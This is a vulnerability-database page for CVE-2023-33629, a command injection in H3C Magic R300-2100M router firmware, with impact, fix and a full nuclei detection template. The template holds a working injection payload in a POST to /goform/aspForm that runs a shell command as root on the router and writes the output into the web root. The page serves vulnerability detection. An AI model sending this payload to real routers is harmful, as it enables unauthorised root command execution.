HexBrain

Browse / CVEs / CVE-2023-33629

CVE-2023-33629· h3c / magic r300-2100m firmware· CWE-787

H3C Magic R300-2100M - Remote Code Execution

highseverity
7.2CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

Impact

Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.

Fix

Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.

How to confirm it

Send: POST /goform/aspForm ; GET /{{filename}}
Positive when: status_code_1 == 302 and contains(body_1, 'do_cmd.asp') and status_code_2 == 200 and contains_all(body_2, 'www', 'www_multi')

Run it with nuclei: nuclei -id CVE-2023-33629 -u <target>

The full check
id: CVE-2023-33629

info:
  name: H3C Magic R300-2100M - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: |
    H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
  impact: |
    Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.
  remediation: |
    Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33629
    - https://hackmd.io/@0dayResearch/r1UjggZfh
    - https://hackmd.io/%400dayResearch/r1UjggZfh
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33629
    cwe-id: CWE-787
    epss-score: 0.04353
    epss-percentile: 0.91313
    cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h3c
    product: magic_r300-2100m_firmware
    fofa-query:
      - app="H3C-Ent-Router"
      - app="h3c-ent-router"
  tags: cve2023,cve,router,rce,h3c,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(7))}}"

http:
  - raw:
      - |
        POST /goform/aspForm HTTP/1.1
        Host: {{Hostname}}

        CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/{{filename}});
      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 302
          - contains(body_1, 'do_cmd.asp')
          - status_code_2 == 200
          - contains_all(body_2, 'www', 'www_multi')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from